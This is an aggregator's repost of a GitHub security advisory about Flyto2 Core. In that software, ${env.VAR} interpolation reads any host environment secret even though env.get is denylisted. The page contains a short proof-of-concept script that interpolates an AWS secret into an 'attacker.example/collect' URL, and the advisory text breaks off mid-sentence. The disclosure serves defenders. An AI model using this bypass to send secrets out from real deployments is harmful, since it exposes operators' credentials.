CSIRTS // UNIFIED SECURITY ADVISORY FEEDSYS ● ONLINE · POWERED BY INTELFUSIONS.COM

GHSA-hr7p-wg7r-hg9m: Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted

highCVSS 8.6CVE-2026-67427
Summary The capability policy denies the env.get and env.load_dotenv modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine's variable resolver expands ${env.VAR} for any environment variable with no allowlist and no policy check, so the exact capability the denylist blocks is available to any workflow parameter. The resolved secret can then be sent out through any allowed module. Affected code src/core/engine/variable_resolver.py: if var_type == 'env': if len(parts) < 2: return None env_var = parts[1] return os.getenv(env_var) # any env var, no allowlist, not covered by module policy The module policy (enforce_module_policy in module_policy.py) gates module execution at BaseModule.run, but ${...} interpolation happens earlier in the engine and is not subject to it. So denylisting env.get does not actually stop a workflow from reading host env secrets. Reproduction Save as envbypass_poc.py, run with PYTHONPATH=src/src python envbypass_poc.py. #!/usr/bin/env python3 import os os.environ["AWS_SECRET_ACCESS_KEY"] = "AKIA-operator-super-secret-DO-NOT-LEAK" from core.module_policy import module_filter from core.engine.variable_resolver import VariableResolver print("env.get allowed? ", module_filter.is_allowed("env.get")) r = VariableResolver(params={}, context={}) print("resolve ${env.SECRET}: ", r.resolve("${env.AWS_SECRET_ACCESS_KEY}")) print("into an attacker URL: ", r.resolve("https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}")) Output: env.get allowed? False resolve ${env.SECRET}: AKIA-operator-super-secret-DO-NOT-LEAK into an attacker URL: https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAK env.get is denied, yet ${env.AWS_SECRET_ACCESS_KEY} reads the same secret and drops it straight into a URL. Confirmed through the running API too: a POST /v1/workflow/run step with text: "${env.AWS_SECRET_ACCESS_KEY}" res

Details

Source
GitHub Security Advisories (INTL · database · site)
Severity
high — CVSS 8.6
Published
2026-07-30
Last updated
2026-07-30
Exploitation
Not in CISA KEV at last sync

Original advisory: https://github.com/advisories/GHSA-hr7p-wg7r-hg9m

Exploitation outlook

EPSS (FIRST.org) estimates each CVE’s probability of exploitation in the next 30 days — here is the CSIRTS.com read on those numbers.

Referenced CVEs

CVECSIRTS overviewExternal
CVE-2026-67427coverage & exploitation statusNVD · CVE.org

Same CVEs, other sources

How other CERTs, PSIRTs and databases cover the vulnerabilities in this advisory.

More from GitHub Security Advisories